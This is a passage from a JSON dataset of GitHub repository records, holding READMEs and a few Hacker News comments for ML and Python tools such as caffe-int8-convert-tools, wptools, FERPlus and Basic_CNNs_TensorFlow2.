Gupta, and Alex Gillmor.\n\n## GitHub Codespace\n\nIf your organization allows to access to GitHub Codespaces, you can launch a Codespace for truss development. If you are a GPU Codespace, make sure to use the `.devcontainer/gpu/devcontainer.json` configuration to have access to a GPU and be able to use it in Docker with truss.\n", "readme_type": "markdown", "hn_comments": "Looks interesting, what if I need to write some logic (pre/post prediction) in the prediction server?<HN_SEP>This is likely to share its name with the next Prime Minister of the UK...<HN_SEP>In this category I\u2019m a big fan of https://github.com/bentoml/BentoMLWhat I like about it is their idiomatic developer experience. It reminds me of other Pythonic frameworks like Flask and Django in a good way.I have no affiliation with them whatsoever, just an admirer.<HN_SEP>Looks great! What is the argument to use this over MLFlow model packaging and serving?<HN_SEP>Superb product and team.Worth looking into if you\u2019ve done any engineering work around deploying ML models as a or within a service.<HN_SEP>This looks promising. It feels like for non ML engineers it\u2019s very hard to figure out how to use models as part of vanilla CRUD codebase.For instance in a Rails app the ML model services would probably be served as a completely external service API  generated with something like Truss wrapped in a service class that just exposes the outputs and handles errors/input validation!<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "vsbuffalo/bds-files", "link": "https://github.com/vsbuffalo/bds-files", "tags": [], "stars": 511, "description": "Supplementary files for my book, \"Bioinformatics Data Skills\"", "lang": "Python", "repo_lang": "", "readme": "# The Supplementary Material Repository for Bioinformatics Data Skills\n\nThis repository contains the supplementary files used in my book,\n[Bioinformatics Data Skills](http://shop.oreilly.com/product/0636920030157.do),\npublished by O'Reilly Media. In addition to the supplementary files needed for\nexamples in the book, this repository contains:\n\n - Documentation on how all supplementary files were produced or how they were\n   acquired.\n\n - Additional information readers may find interesting for each chapter. These\n   are the `README.md` files in each chapter's directory. I've also included\n   other resources like lists of recommended books for further learning.\n\n - Errata, and any necessary updates if materials become outdated for some\n   reason.\n\nAlthough I've made an strong, strong effort to focus on the subset of\nbioinformatics tools that will not go out of date is this rapidly changing\nfield, if certain tools do become obsolete I will use this repository to host\nand describe alternatives.\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "BUG1989/caffe-int8-convert-tools", "link": "https://github.com/BUG1989/caffe-int8-convert-tools", "tags": ["quantized-neural-networks", "ncnn", "int8-inference", "caffe", "deeplearning-ai"], "stars": 511, "description": "Generate a quantization parameter file for ncnn framework int8 inference", "lang": "Python", "repo_lang": "", "readme": "# Caffe-Int8-Convert-Tools\n\nThis convert tools is base on TensorRT 2.0 Int8 calibration tools, which use the KL algorithm to find the suitable threshold to quantize the activions from Float32 to Int8(-127 - 127).\n\nWe provide the Classification(SqueezeNet_v1.1) and Detection(MobileNet_v1 SSD 300) demo based on [ncnn](https://github.com/Tencent/ncnn)(a high-performance neural network inference framework optimized for the mobile platform) and the community ready to support this implementation.\n\n[The pull request in ncnn](https://github.com/Tencent/ncnn/pull/749)\n\n## NCNN have a new convert tool to support Post-Training-Quantization \n\nUsing this new [ncnn-quantization-tools](https://github.com/Tencent/ncnn/tree/master/tools/quantize), you can convert your ncnn model to ncnn int8 model directly. If you just want to deploy your model with ncnn,I suggest you use it.\n\n## Reference\n\nFor details, please read the following PDF:\n\n[8-bit Inference with TensorRT](http://on-demand.gputechconf.com/gtc/2017/presentation/s7310-8-bit-inference-with-tensorrt.pdf) \n\nMXNet quantization implementation:\n\n[Quantization module for generating quantized (INT8) models from FP32 models](https://github.com/apache/incubator-mxnet/blob/master/python/mxnet/contrib/quantization.py)\n\nAn introduction to the principles of a Chinese blog written by my friend([bruce.zhang](https://github.com/bigbigzxl)):\n\n[The implement of Int8 quantize base on TensorRT](https://zhuanlan.zhihu.com/zhangxiaolongOptimization)\n\n## HowTo\n\nThe purpose of this tool(caffe-int8-convert-tool-dev.py) is to test new features, such as mulit-channels quantization depend on group num.\n\nThis format is already supported in the [ncnn](https://github.com/Tencent/ncnn) latest version. I will do my best to transform some common network models into [classification-dev](https://github.com/BUG1989/caffe-int8-convert-tools/tree/master/classification-dev)\n\n```\npython caffe-int8-convert-tool-dev-weight.py -h\nusage: caffe-int8-convert-tool-dev-weight.py [-h] [--proto PROTO] [--model MODEL]\n                                  [--mean MEAN MEAN MEAN] [--norm NORM]\n                                  [--images IMAGES] [--output OUTPUT]\n                                  [--group GROUP] [--gpu GPU]\n\nfind the pretrained caffemodel int8 quantize scale value\n\noptional arguments:\n  -h, --help            show this help message and exit\n  --proto PROTO         path to deploy prototxt.\n  --model MODEL         path to pretrained caffemodel\n  --mean MEAN           value of mean\n  --norm NORM           value of normalize(scale value or std value)\n  --images IMAGES       path to calibration images\n  --output OUTPUT       path to output calibration table file\n  --group GROUP         enable the group scale(0:disable,1:enable,default:1)\n  --gpu GPU             use gpu to forward(0:disable,1:enable,default:0)\npython caffe-int8-convert-tool-dev-weight.py --proto=test/models/mobilenet_v1.prototxt --model=test/models/mobilenet_v1.caffemodel --mean 103.94 116.78 123.68 --norm=0.017 --images=test/images/ output=mobilenet_v1.table --group=1 --gpu=1\n```\n\n### How to use the output file(calibration-dev.table)\n\nFor\u00a0example in *MobileNet_v1_dev.table*\n\n```\nconv1_param_0 0.0 3779.48337933 482.140562772 1696.53814502\nconv2_1/dw_param_0 0 72.129143 149.919382 // the convdw layer's weight scale every group is 0.0 72.129 149.919 ......\n......\nconv1 49.466518\nconv2_1/dw 123.720796 // the convdw layer's bottom blobchannel scale is 123.720\n......\n```\n\nThree steps to implement the *conv1* layer int8 convolution:\n\n1. Quantize the bottom_blob and weight:\n\n   ```\n   bottom_blob_int8 = bottom_blob_float32 * data_scale(49.466518)\n   weight_int8 = weight_float32 * weight_scale(156.639840)\n   ```\n\n2. Convolution_Int8:\n\n   ```\n   top_blob_int32 = bottom_blob_int8 * weight_int8\n   ```\n\n3. Dequantize the TopBlob_Int32 and add the bias:\n\n   ```\n   top_blob_float32 = top_blob_int32 / [data_scale(49.466518) * weight_scale(156.639840)] + bias_float32\n   ```\n\n## How to use with ncnn\n\n[quantized int8 inference](https://github.com/Tencent/ncnn/wiki/quantized-int8-inference#caffe-int8-convert-tools)\n\n## Accuracy and Performance\n\n#### We use ImageNet2012 Dataset to complete some classification test.\n\n| Type                | Detail                                                |\n| ------------------- | ----------------------------------------------------- |\n| Calibration Dataset | ILSVRC2012_img_test\u00a0 \u00a01k                              |\n| Test Dataset        | ILSVRC2012_img_val\u00a0 \u00a0 5k                              |\n| Framework           | ncnn                                                  |\n| Support Layer       | Convolution,ConvolutionDepthwise,ReLU                 |\n\nThe following table show the Top1 and Top5 different between Float32 and Int8 inference.\n\n| Models          | FP32   |        | INT8   |        | Loss      |           |\n| --------------- | ------ | ------ | ------ | ------ | --------- | --------- |\n|                 | Top1   | Top5   | Top1   | Top5   | Diff Top1 | Diff Top5 |\n| SqueezeNet v1.1 | 57.78% | 79.88% | 57.82% | 79.84% | +0.04%    | -0.04%    |\n| MobileNet v1    | 67.26% | 87.92% | 66.74% | 87.43% | -0.52%    | -0.49%    |\n| GoogleNet       | 68.50% | 88.84% | 68.62% | 88.68% | +0.12%    | -0.16%    |\n| ResNet18        | 65.49% | 86.56% | 65.30% | 86.52% | -0.19%    | -0.04%    |\n| ResNet50        | 71.80% | 89.90% | 71.76% | 90.06% | -0.04%    | +0.16%    |\n\n#### We use VOC0712,MSCOCO Dataset to complete some detection test.\n\n| Type         | Detail         |\n| ------------ | -------------- |\n| Test Dataset | VOC2007        |\n| Unit         | mAP (Class 20) |\n\n| Models           | FP32  | INT8  | Loss   |\n| ---------------- | ----- | ----- | ------ |\n| SqueezeNet SSD   | 61.80 | 61.27 | -0.53  |\n| MobileNet_v1 SSD | 70.49 | 68.92 | -1.57  |\n\n#### Speed up\n\nThe following table show the speedup between Float32 and Int8 inference. It should be noted that the winograd algorithm is enable in the Float32 and Int8 inference. The Hardware Platform is Hisi3519(Cortex-A17@880MHz)\n\n| Uint(ms) | SqueezeNet v1.1 | MobileNet v1 | GoogleNet | ResNet18 | MobileNetv1 SSD | SqueezeNet SSD |\n| -------- | --------------- | ------------ | --------- | -------- | --------------- | -------------- |\n| Float32  | 282             | 490          | 1107      | 985      | 970             | 610            |\n| Int8     | 192             | 369          | 696       | 531      | 605             | 498            |\n| Ratio    | x1.46           | x1.33        | x1.59     | x1.85    | x1.60           | x1.22          |\n\n#### Memory reduce\n\nRuntime Memory : mbytes\n\n| Models            | fp32-wino63 | int8-wino23 | int8-wino43 |\n| ----------------- | ----------- | ----------- | ----------- |\n| squeezenet_v1_1   | 50          | 30          | 32          |\n| mobilenet_v1      | 61          | 35          | 35          |\n| mobilenet_v1_ssd  | 90          | 45          | 45          |\n| squeezenet_v1_ssd | 210         | 70          | 94          |\n| resnet18          | 335         | 77          | 130         |\n| googlenet_v1      | 154         | 72          | 89          |\n\nStorage Memory : mbytes\n\n| Models            | fp32 | int8 |\n| ----------------- | ---- | ---- |\n| squeezenet_v1_1   | 4.71 | 1.20 |\n| mobilenet_v1      | 16.3 | 4.31 |\n| mobilenet_v1_ssd  | 22.0 | 5.60 |\n| squeezenet_v1_ssd | 21.1 | 5.37 |\n| resnet18          | 44.6 | 11.2 |\n| googlenet_v1      | 26.6 | 6.72 |\n\n## Contributor\n\nThanks to NVIDIA for providing the principle of correlation entropy and ncnn's author [nihui](https://github.com/nihui) sharing his neural network inference framework.\n\nThanks to the help from the following friends:\n\nOptimization Instructor : [Fugangping](https://github.com/fu1899), [bruce.zhang](https://github.com/bigbigzxl)\n\nAlgorithm : [xupengfeixupf](https://github.com/xupengfeixupf), [JansonZhu](https://github.com/JansonZhu), [wangxinwei](https://github.com/StarStyleSky), [lengmm](https://github.com/lengmm) \n\nPython : [daquexian](https://github.com/daquexian)\n\n## License\n\nBSD 3 Clause\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "liamcain/AutoFileName", "link": "https://github.com/liamcain/AutoFileName", "tags": [], "stars": 511, "description": "Sublime Text plugin that autocompletes filenames", "lang": "Python", "repo_lang": "", "readme": "AutoFileName: Autocomplete Filenames in Sublime Text\n=====================================================\nDo you ever find yourself sifting through folders in the sidebar trying to remember what you named that file? Can't remember if it was a jpg or a png? Maybe you just wish you could type filenames faster. *No more.*\n\nWhether your making a `img` tag in html, setting a background image in css, or linking a `.js` file to your html (or whatever else people use filename paths for these days...), you can now autocomplete the filename. Plus, it uses the built-in autocomplete, so no need to learn another *pesky* shortcut.\n\nUsage\n=====\nIf you are looking to autocomplete an image path in an HTML `<img>` tag:\n```html\n    <img src=\"../|\" />\n```\n\nPressing <kbd>ctrl</kbd>+<kbd>space</kbd>, will activate AutoFileName.  I list of available files where be ready to select.\n\n*Looking for an even more automatic and seemless completion?*  Add the following to your User Settings file:\n    \n    \"auto_complete_triggers\":\n    [\n      {\n         \"characters\": \"<\",\n         \"selector\": \"text.html\"\n      },\n      {\n         \"characters\": \"/\",\n         \"selector\": \"string.quoted.double.html,string.quoted.single.html, source.css\"\n      }\n    ]\n\nWith this, there's no need to worry about pressing <kbd>ctrl</kbd>+<kbd>space</kbd>, autocompletion with appear upon pressing /.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "siznax/wptools", "link": "https://github.com/siznax/wptools", "tags": ["mediawiki", "mediawiki-api", "restbase", "wikidata", "open-data", "glam", "commons", "linked-open-data", "wikimedia-commons", "wikipedia", "wikipedia-api", "api-client", "python", "data-science"], "stars": 511, "description": "Wikipedia tools (for Humans): easily extract data from Wikipedia, Wikidata, and other MediaWikis", "lang": "Python", "repo_lang": "", "readme": "Wikipedia tools (for Humans)\n============================\n\n.. image:: https://img.shields.io/pypi/v/wptools.svg\n        :target: https://pypi.python.org/pypi/wptools/\n\n.. image:: https://travis-ci.org/siznax/wptools.svg?branch=master\n        :target: https://travis-ci.org/siznax/wptools\n\n.. image:: https://coveralls.io/repos/github/siznax/wptools/badge.svg?branch=master\n        :target: https://coveralls.io/github/siznax/wptools\n\nPython and command-line MediaWiki access for Humans\n\n- get page extracts, image, Infobox data, Wikidata, and more\n- get a random page, category, or site\n- get page statistics\n- get category members\n- get site info and stats\n- get data in any language\n\nThis package is intended to make it as easy as possible to get data\nfrom MediaWiki instances, expose more Wikidata, and extend Wikimedia\nAPIs just for kicks. We say \"(for Humans)\" because that is a goal_.\nQuestions, feedback, and especially contributions_ are welcome!\n\n\nInstall\n-------\n\n.. code-block:: bash\n\n    $ pip install wptools\n    \u2728\ud83e\udd84\u2728\n\n\nExample\n-------\n\n.. code-block:: python\n\n    >>> import wptools\n\n\nGet a page object:\n\n.. code-block:: python\n\n    >>> page = wptools.page('Gandhi')\n\n\nGet `API:Query`_ data:\n\n.. _`API:Query`: https://www.mediawiki.org/wiki/API:Query\n\n.. code-block:: python\n\n    >>> page.get_query()\n    en.wikipedia.org (query) Gandhi\n    en.wikipedia.org (imageinfo) File:Portrait Gandhi.jpg\n    Mahatma Gandhi (en) data\n    {\n      aliases: <list(10)> M K Gandhi, Mohandas Gandhi, Bapu, Gandhi, M...\n      assessments: <dict(10)> Pakistan, Alternative Views, South Afric...\n      description: <str(67)> pre-eminent leader of Indian nationalism ...\n      extext: <str(3077)> Mah\u0101tm\u0101 **Mohandas Karamchand Gandhi** ( ; H...\n      extract: <str(3372)> <p>Mah\u0101tm\u0101 <b>Mohandas Karamchand Gandhi</b...\n      image: <list(2)> {u'size': 2951123, 'kind': 'query-pageimage', u...\n      label: Mahatma Gandhi\n      length: 262,790\n      links: <list(500)> 10 Janpath, 14th Dalai Lama, 1915 Singapore M...\n      modified: <dict(1)> page\n      pageid: 19379\n      random: Salt\n      redirected: <list(1)> {u'to': u'Mahatma Gandhi', u'from': u'Gandhi'}\n      redirects: <list(53)> {u'ns': 0, u'pageid': 55342, u'title': u'M...\n      requests: <list(2)> query, imageinfo\n      title: Mahatma Gandhi\n      url: https://en.wikipedia.org/wiki/Mahatma_Gandhi\n      url_raw: https://en.wikipedia.org/wiki/Mahatma_Gandhi?action=raw\n      watchers: 1,811\n      wikibase: Q1001\n      wikidata_url: https://www.wikidata.org/wiki/Q1001\n    }\n\n\nGet `API:Parse`_ data:\n\n.. _`API:Parse`: https://www.mediawiki.org/wiki/API:Parse\n\n.. code-block:: python\n\n    >>> page.get_parse()\n    en.wikipedia.org (parse) Gandhi\n    en.wikipedia.org (imageinfo) File:MKGandhi.jpg\n    Mahatma Gandhi (en) data\n    {\n      image: <list(1)> {u'size': 2951123, 'kind': 'parse-image', u'des...\n      infobox: <dict(25)> known_for, other_names, image, signature, bi...\n      iwlinks: <list(10)> https://biblio.wiki/wiki/Mohandas_K._Gandhi,...\n      pageid: 19379\n      parsetree: <str(331808)> <root><template><title>Redirect</title>...\n      requests: <list(2)> parse, imageinfo\n      title: Mahatma Gandhi\n      wikibase: Q1001\n      wikidata_url: https://www.wikidata.org/wiki/Q1001\n      wikitext: <str(261349)> {{Redirect|Gandhi}}{{pp-move-indef}}{{pp...\n    }\n\n\nGet Wikidata_:\n\n.. _Wikidata: https://www.wikidata.org/w/api.php\n\n.. code-block:: python\n\n    >>> page = wptools.page(wikibase='Q1001')\n    >>> page.get_wikidata()\n    www.wikidata.org (wikidata) Q1001\n    www.wikidata.org (labels) Q1280678|P535|P434|Q1860|P3762|Q668|P12...\n    www.wikidata.org (labels) P119|Q1930187|P691|P18|P19|P1066|P509|P...\n    www.wikidata.org (labels) Q6512732|Q1568|P972|Q84|P1430|P31|Q2140...\n    www.wikidata.org (labels) P1576|Q4964182|P1368|P140|Q22336956|P12...\n    en.wikipedia.org (imageinfo) File:Portrait Gandhi.jpg\n    Mahatma Gandhi (en) data\n    {\n      aliases: <list(10)> M K Gandhi, Mohandas Gandhi, Bapu, Gandhi, M...\n      claims: <dict(113)> P646, P535, P906, P434, P648, P3762, P1711, ...\n      description: <str(67)> pre-eminent leader of Indian nationalism ...\n      image: <list(1)> {u'size': 2951123, 'kind': 'wikidata-image', u'...\n      label: Mahatma Gandhi\n      labels: <dict(171)> Q1280678, P535, Q131149, P434, Q1860, P3762,...\n      modified: <dict(1)> wikidata\n      requests: <list(6)> wikidata, labels, labels, labels, labels, im...\n      title: Mahatma_Gandhi\n      what: human\n      wikibase: Q1001\n      wikidata: <dict(112)> Geni.com profile ID (P2600), National Libr...\n      wikidata_pageid: 1330\n      wikidata_url: https://www.wikidata.org/wiki/Q1001\n    }\n\n\nGet RESTBase_ data:\n\n.. _RESTBase: https://www.mediawiki.org/wiki/RESTBase\n\n.. code-block:: python\n\n    >>> page.get_restbase('/page/summary/')\n    en.wikipedia.org (restbase) /page/summary/Gandhi\n    Mahatma Gandhi (en) data\n    {\n      description: <str(67)> pre-eminent leader of Indian nationalism ...\n      exhtml: <str(1168)> <p>Mah\u0101tm\u0101 <b>Mohandas Karamchand Gandhi</b>...\n      exrest: <str(931)> Mah\u0101tm\u0101 Mohandas Karamchand Gandhi (; Hindust...\n      image: <list(2)> {'kind': 'restbase-original', u'width': 2024, '...\n      pageid: 19379\n      requests: <list(1)> restbase\n      title: Mahatma_Gandhi\n      url: https://en.wikipedia.org/wiki/Gandhi\n      url_raw: https://en.wikipedia.org/wiki/Gandhi?action=raw\n    }\n\n\nGet all the things (at once):\n\n.. code-block:: python\n\n    >>> page.get()\n    en.wikipedia.org (query) Gandhi\n    en.wikipedia.org (parse) 19379\n    www.wikidata.org (wikidata) Q1001\n    www.wikidata.org (labels) Q1280678|P535|P434|Q1860|P3762|Q668|P12...\n    www.wikidata.org (labels) P119|Q1930187|P691|P18|P19|P1066|P509|P...\n    www.wikidata.org (labels) Q6512732|Q1568|P972|Q84|P1430|P31|Q2140...\n    www.wikidata.org (labels) P1576|Q4964182|P1368|P140|Q22336956|P12...\n    en.wikipedia.org (restbase) /page/summary/Mahatma_Gandhi\n    en.wikipedia.org (imageinfo) File:MKGandhi.jpg|File:Portrait Gandhi.jpg\n    Mahatma Gandhi (en) data\n    {\n      aliases: <list(10)> M K Gandhi, Mohandas Gandhi, Bapu, Gandhi, M...\n      assessments: <dict(10)> Pakistan, Alternative Views, South Afric...\n      claims: <dict(113)> P646, P535, P906, P434, P648, P3762, P1711, ...\n      description: <str(67)> pre-eminent leader of Indian nationalism ...\n      exhtml: <str(1168)> <p>Mah\u0101tm\u0101 <b>Mohandas Karamchand Gandhi</b>...\n      exrest: <str(931)> Mah\u0101tm\u0101 Mohandas Karamchand Gandhi (; Hindust...\n      extext: <str(3077)> Mah\u0101tm\u0101 **Mohandas Karamchand Gandhi** ( ; H...\n      extract: <str(3372)> <p>Mah\u0101tm\u0101 <b>Mohandas Karamchand Gandhi</b...\n      image: <list(6)> {u'size': 2951123, 'kind': 'query-pageimage', u...\n      infobox: <dict(25)> known_for, other_names, image, signature, bi...\n      iwlinks: <list(10)> https://biblio.wiki/wiki/Mohandas_K._Gandhi,...\n      label: Mahatma Gandhi\n      labels: <dict(171)> Q1280678, P535, Q131149, P434, Q1860, P3762,...\n      length: 262,790\n      links: <list(500)> 10 Janpath, 14th Dalai Lama, 1915 Singapore M...\n      modified: <dict(2)> wikidata, page\n      pageid: 19379\n      parsetree: <str(331808)> <root><template><title>Redirect</title>...\n      random: Salt\n      redirected: <list(1)> {u'to': u'Mahatma Gandhi', u'from': u'Gandhi'}\n      redirects: <list(53)> {u'ns': 0, u'pageid': 55342, u'title': u'M...\n      requests: <list(9)> query, parse, wikidata, labels, labels, labe...\n      title: Mahatma_Gandhi\n      url: https://en.wikipedia.org/wiki/Mahatma_Gandhi\n      url_raw: https://en.wikipedia.org/wiki/Mahatma_Gandhi?action=raw\n      watchers: 1,811\n      what: human\n      wikibase: Q1001\n      wikidata: <dict(112)> Geni.com profile ID (P2600), National Libr...\n      wikidata_pageid: 1330\n      wikidata_url: https://www.wikidata.org/wiki/Q1001\n      wikitext: <str(261349)> {{Redirect|Gandhi}}{{pp-move-indef}}{{pp...\n    }\n\n\nGet more (expensive) data:\n\n.. code-block:: python\n\n    >>> page.get_more()\n    en.wikipedia.org (querymore) Gandhi\n    Mahatma Gandhi (en) data\n    {\n      categories: <list(68)> Category:1869 births, Category:1948 death...\n      contributors: 2,606\n      files: <list(53)> File:Aum Om red.svg, File:Commons-logo.svg, Fi...\n      languages: <list(168)> {u'lang': u'af', u'title': u'Mahatma Gand...\n      pageid: 19379\n      redirected: <list(1)> {u'to': u'Mahatma Gandhi', u'from': u'Gandhi'}\n      requests: <list(1)> querymore\n      title: Mahatma Gandhi\n      views: 19,242\n    }\n\n\nGet data in `another language`_:\n\n.. _`another language`: https://github.com/siznax/wptools/wiki/Language-Codes\n\n.. code-block:: python\n\n    >>> page = wptools.page(lang='zh')\n    zh.wikipedia.org (random) \ud83c\udf70\n    \u54c8\u8389\u7279\u00b7\u5854\u5e03\u66fc (zh) data\n    {\n      pageid: 211070\n      title: \u54c8\u8389\u7279\u00b7\u5854\u5e03\u66fc\n    }\n\n\nGet data from `another wiki`_:\n\n.. _`another wiki`: https://meta.wikimedia.org/wiki/List_of_Wikipedias\n\n.. code-block:: python\n\n    >>> page = wptools.page(wiki='en.wikiquote.org')\n    en.wikiquote.org (random) \ud83c\udf6a\n    Malala_Yousafzai (en)\n    {\n      pageid: 146817\n      title: Malala_Yousafzai\n    }\n\n\nDocumentation\n-------------\n\nSee our wiki_.\n\n\nPlease enjoy!\n\n\n@siznax \ud83d\udc79\n\n\n.. _contributions: https://github.com/siznax/wptools/blob/master/CONTRIBUTING.md\n.. _goal: http://docs.python-requests.org/en/master/user/intro/\n.. _wiki: https://github.com/siznax/wptools/wiki\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "microsoft/FERPlus", "link": "https://github.com/microsoft/FERPlus", "tags": [], "stars": 511, "description": "This is the FER+ new label annotations for the Emotion FER dataset.", "lang": "Python", "repo_lang": "", "readme": "# FER+\nThe FER+ annotations provide a set of new labels for the standard Emotion FER dataset. In FER+, each image has been labeled by 10 crowd-sourced taggers, which provide better quality ground truth for still image emotion than the original FER labels. Having 10 taggers for each image enables researchers to estimate an emotion probability distribution per face. This allows constructing algorithms that produce statistical distributions or multi-label outputs instead of the conventional single-label output, as described in: https://arxiv.org/abs/1608.01041\n\nHere are some examples of the FER vs FER+ labels extracted from the abovementioned paper (FER top, FER+ bottom):\n\n![FER vs FER+ example](https://raw.githubusercontent.com/Microsoft/FERPlus/master/FER+vsFER.png)\n\nThe new label file is named **_fer2013new.csv_** and contains the same number of rows as the original **_fer2013.csv_** label file with the same order, so that you infer which emotion tag belongs to which image. Since we can't host the actual image content, please find the original FER data set here: https://www.kaggle.com/c/challenges-in-representation-learning-facial-expression-recognition-challenge/data\n\nThe format of the CSV file is as follows: usage,\tneutral, happiness,\tsurprise, sadness, anger, disgust, fear, contempt, unknown, NF. Columns \"usage\" is the same as the original FER label to differentiate between training, public test and private test sets. The other columns are the vote count for each emotion with the addition of unknown and NF (Not a Face).\n\n## Training\nWe also provide a training code with implementation for all the training modes (majority, probability, cross entropy and multi-label) described in https://arxiv.org/abs/1608.01041. The training code uses MS Cognitive Toolkit (formerly CNTK) available in: https://github.com/Microsoft/CNTK.\n\nAfter installing Cognitive Toolkit and downloading the dataset (we will discuss the dataset layout next), you can simply run the following to start the training:\n\n#### For majority voting mode\n```\npython train.py -d <dataset base folder> -m majority\n```\n\n#### For probability mode\n```\npython train.py -d <dataset base folder> -m probability\n```\n\n#### For cross entropy mode\n```\npython train.py -d <dataset base folder> -m crossentropy\n```\n\n#### For multi-target mode\n```\npython train.py -d <dataset base folder> -m multi_target\n```\n\n## FER+ layout for Training\nThere is a folder named data that has the following layout:\n\n```\n/data\n  /FER2013Test\n    label.csv\n  /FER2013Train\n    label.csv\n  /FER2013Valid\n    label.csv\n```\n*label.csv* in each folder contains the actual label for each image, the image name is in the following format: ferXXXXXXXX.png, where XXXXXXXX is the row index of the original FER csv file. So here the names of the first few images:\n\n```\nfer0000000.png\nfer0000001.png\nfer0000002.png\nfer0000003.png\n```\nThe folders don't contain the actual images, you will need to download them from https://www.kaggle.com/c/challenges-in-representation-learning-facial-expression-recognition-challenge/data, then extract the images from the FER csv file in such a way, that all images corresponding to \"Training\" go to FER2013Train folder, all images corresponding to \"PublicTest\" go to FER2013Valid folder and all images corresponding to \"PrivateTest\" go to FER2013Test folder. Or you can use `generate_training_data.py` script to do all the above for you as mentioned in next section.\n\n### Training data\nWe provide a simple script `generate_training_data.py` in python that takes **_fer2013.csv_** and **_fer2013new.csv_** as inputs, merge both CSV files and export all the images into a png files for the trainer to process.\n\n```\npython generate_training_data.py -d <dataset base folder> -fer <fer2013.csv path> -ferplus <fer2013new.csv path>\n```\n\n# Citation\nIf you use the new FER+ label or the sample code or part of it in your research, please cite the following:\n\n**@inproceedings{BarsoumICMI2016,  \n&nbsp;&nbsp;&nbsp;&nbsp;title={Training Deep Networks for Facial Expression Recognition with Crowd-Sourced Label Distribution},  \n&nbsp;&nbsp;&nbsp;&nbsp;author={Barsoum, Emad and Zhang, Cha and Canton Ferrer, Cristian and Zhang, Zhengyou},  \n&nbsp;&nbsp;&nbsp;&nbsp;booktitle={ACM International Conference on Multimodal Interaction (ICMI)},  \n&nbsp;&nbsp;&nbsp;&nbsp;year={2016}  \n}**\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "calmisential/Basic_CNNs_TensorFlow2", "link": "https://github.com/calmisential/Basic_CNNs_TensorFlow2", "tags": ["tensorflow2", "image-classification", "image-recognition", "tensorflow", "mobilenet-v1", "mobilenet-v2", "mobilenet-v3", "efficientnet", "resnext", "inception-v4", "inception-resnet-v2", "senet", "seresnet", "squeezenet", "densenet", "shufflenet-v2", "resnet", "regnet"], "stars": 511, "description": "A tensorflow2 implementation of some basic CNNs(MobileNetV1/V2/V3, EfficientNet, ResNeXt, InceptionV4, InceptionResNetV1/V2, SENet, SqueezeNet, DenseNet, ShuffleNetV2, ResNet).", "lang": "Python", "repo_lang": "", "readme": "# Basic_CNNs_TensorFlow2\nA tensorflow2 implementation of some basic CNNs.\n\n## Networks included:\n+ MobileNet_V1\n+ MobileNet_V2\n+ [MobileNet_V3](https://github.com/calmisential/MobileNetV3_TensorFlow2)\n+ [EfficientNet](https://github.com/calmisential/EfficientNet_TensorFlow2)\n+ [ResNeXt](https://github.com/calmisential/ResNeXt_TensorFlow2)\n+ [InceptionV4, InceptionResNetV1, InceptionResNetV2](https://github.com/calmisential/InceptionV4_TensorFlow2)\n+ SE_ResNet_50, SE_ResNet_101, SE_ResNet_152, SE_ResNeXt_50, SE_ResNeXt_101\n+ SqueezeNet\n+ [DenseNet](https://github.com/calmisential/DenseNet_TensorFlow2)\n+ ShuffleNetV2\n+ [ResNet](https://github.com/calmisential/TensorFlow2.0_ResNet)\n+ RegNet\n\n## Other networks\nFor AlexNet and VGG, see : https://github.com/calmisential/TensorFlow2.0_Image_Classification<br/>\nFor InceptionV3, see : https://github.com/calmisential/TensorFlow2.0_InceptionV3<br/>\nFor ResNet, see : https://github.com/calmisential/TensorFlow2.0_ResNet\n\n## Train\n1. Requirements:\n+ Python >= 3.9\n+ Tensorflow >= 2.7.0\n+ tensorflow-addons >= 0.15.0\n2. To train the network on your own dataset, you can put the dataset under the folder **original dataset**, and the directory should look like this:\n```\n|\u2014\u2014original dataset\n   |\u2014\u2014class_name_0\n   |\u2014\u2014class_name_1\n   |\u2014\u2014class_name_2\n   |\u2014\u2014class_name_3\n```\n3. Run the script **split_dataset.py** to split the raw dataset into train set, valid set and test set. The dataset directory will be like this:\n ```\n|\u2014\u2014dataset\n   |\u2014\u2014train\n        |\u2014\u2014class_name_1\n        |\u2014\u2014class_name_2\n        ......\n        |\u2014\u2014class_name_n\n   |\u2014\u2014valid\n        |\u2014\u2014class_name_1\n        |\u2014\u2014class_name_2\n        ......\n        |\u2014\u2014class_name_n\n   |\u2014-test\n        |\u2014\u2014class_name_1\n        |\u2014\u2014class_name_2\n        ......\n        |\u2014\u2014class_name_n\n ```\n4. Run **to_tfrecord.py** to generate tfrecord files.\n5. Change the corresponding parameters in **config.py**.\n6. Run **show_model_list.py** to get the index of model.\n7. Run **python train.py --idx [index]** to start training.<br/>\nIf you want to train the *EfficientNet*, you should change the IMAGE_HEIGHT and IMAGE_WIDTH before training.\n- b0 = (224, 224)\n- b1 = (240, 240)\n- b2 = (260, 260)\n- b3 = (300, 300)\n- b4 = (380, 380)\n- b5 = (456, 456)\n- b6 = (528, 528)\n- b7 = (600, 600)\n## Evaluate\nRun **python evaluate.py --idx [index]** to evaluate the model's performance on the test dataset.\n\n## Different input image sizes for different neural networks\n<table>\n     <tr align=\"center\">\n          <th>Type</th>\n          <th>Neural Network</th>\n          <th>Input Image Size (height * width)</th>\n     </tr>\n     <tr align=\"center\">\n          <td rowspan=\"3\">MobileNet</td>\n          <td>MobileNet_V1</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>MobileNet_V2</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>MobileNet_V3</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>EfficientNet</td>\n          <td>EfficientNet(B0~B7)</td>\n          <td>/</td>\n     </tr>\n     <tr align=\"center\">\n          <td rowspan=\"2\">ResNeXt</td>\n          <td>ResNeXt50</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td>ResNeXt101</td>\n          <td>(224 * 224)</td>\n     </tr>\n     <tr align=\"center\">\n          <td rowspan=\"2\">SEResNeXt</td>\n          <td>SEResNeXt50</td>\n          <td>(224 